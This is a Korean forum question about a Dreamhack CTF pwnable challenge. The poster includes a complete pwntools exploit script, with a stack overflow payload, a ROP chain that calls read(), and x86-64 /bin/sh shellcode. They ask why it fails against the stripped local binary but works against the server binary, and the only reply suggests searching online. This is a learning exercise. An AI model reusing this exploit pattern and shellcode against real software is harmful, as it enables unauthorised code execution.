로컬에서 ./validator_dist는 익스 안되는 이유?
from pwn import *
p = process("./validator_dist")
# p = remote("host3.dreamhack.games", 10527)
# gadgets & data
read_plt = 0x400470
prdi_r = 0x00000000004006f3
prsir15_r = 0x00000000004006f1
prdx_r = 0x40057b
writable_address = 0x601050
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b"DREAMHACK!" + b"A" # s[0] ~ s[9], s[10]
for i in range(118):
payload += bytes([255-i]) # s[11] ~ s[128]
payload += b'B'*0x7 # SFP
# read(0, writable_address, 0x20)
payload += p64(prdi_r) + p64(0) + p64(prsir15_r) + p64(writable_address) + p64(0) + p64(prdx_r) + p64(0x20) + p64(read_plt)
payload += p64(writable_address)
p.send(payload)
# p.send(shellcode)
p.interactive()
일단 제 코드 첨부합니다!
궁금한 점은, 로컬에서 테스트할 때 p=process("./validator-dist")로 하고 실행시키면 ROP chain에 의해 read 함수 호출까지 가기도 전에 계속 실패합니다. (p.send(shellcode) 실행 안 됩니다 EOFError로)
아무리 확인해봐도 코드에 문제가 없는 것 같길래
호오옥시몰라 p=process("./validator-server")로 바꾸고 했더니 잘 exploit됩니다. 쉘코드까지 잘 실행됩니다(해당 영역 rw-인데 어케 되는지는 의문이지만)
두 바이너리의 차이는 stripped 여부밖에 없는 것 같은데, 왜 차이가 발생하는걸까요..?
#pwnable
작성자 정보
답변
1
piano
대표 업적 없음
이럴때는 인터넷에 검색해보는 것도 나쁘지 않은 선택입니닿ㅎ
파이팅!좀 어려워 보이네요 ㅎㅎ